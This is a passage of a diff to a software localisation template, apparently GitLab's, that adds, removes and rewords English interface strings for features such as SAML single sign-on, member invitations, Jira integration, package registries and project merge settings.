-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14410,9 +14829,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14428,7 +14853,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14524,9 +14952,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14722,9 +15147,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14860,9 +15282,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15039,6 +15458,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15207,6 +15629,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15365,9 +15793,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15414,12 +15839,15 @@ msgid "Importing %d repository"
msgid_plural "Importing %d repositories"
msgstr[0] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15429,9 +15857,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16017,6 +16442,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16186,6 +16614,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16231,9 +16662,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16258,6 +16686,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16294,9 +16725,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16492,7 +16920,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16501,7 +16929,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16510,25 +16938,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16543,6 +16971,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16705,6 +17136,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16714,6 +17148,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16801,6 +17238,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16864,6 +17304,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -16951,6 +17394,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -16963,9 +17409,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17005,7 +17460,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17026,7 +17484,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17038,12 +17496,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17260,15 +17724,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17359,6 +17814,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17561,6 +18019,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -17952,6 +18413,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18021,6 +18485,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18195,6 +18662,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18234,6 +18704,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18258,9 +18731,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18336,6 +18806,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18354,13 +18827,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18435,6 +18905,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18537,9 +19010,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18549,9 +19019,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18684,9 +19151,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18744,9 +19208,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19307,6 +19768,9 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19499,6 +19963,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19562,6 +20032,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
